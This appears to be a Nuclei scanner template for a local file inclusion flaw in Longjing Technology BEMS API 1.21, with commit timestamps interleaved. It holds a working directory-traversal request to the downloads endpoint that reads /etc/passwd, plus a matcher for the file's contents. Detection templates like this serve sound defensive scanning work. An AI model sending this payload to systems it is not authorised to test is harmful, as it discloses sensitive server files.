2021-08-03 14:25:25 +00:00
id : bems-api-lfi
2021-08-03 12:52:14 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Longjing Technology BEMS API 1.21 - Local File Inclusion
2021-08-03 12:52:14 +00:00
author : gy741
severity : high
2022-07-26 13:45:11 +00:00
description : Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
2022-04-22 10:38:41 +00:00
reference :
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
2022-07-26 13:45:11 +00:00
- https://packetstormsecurity.com/files/163702/
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : lfi,packetstorm
2021-08-03 12:52:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-03 12:52:14 +00:00
- method : GET
path :
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-08-03 12:52:14 +00:00
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4b0a00483046022100c23364bc1edb9b12d6360534784f7909102eaa2b7d6ade0a4ec84cf5d45acc55022100ce9a9757a3391cd8fd9287eb0bb043335ba1dea6c218aef73d2bb6828a37781e:922c64590222798bb761d5b6d8e72950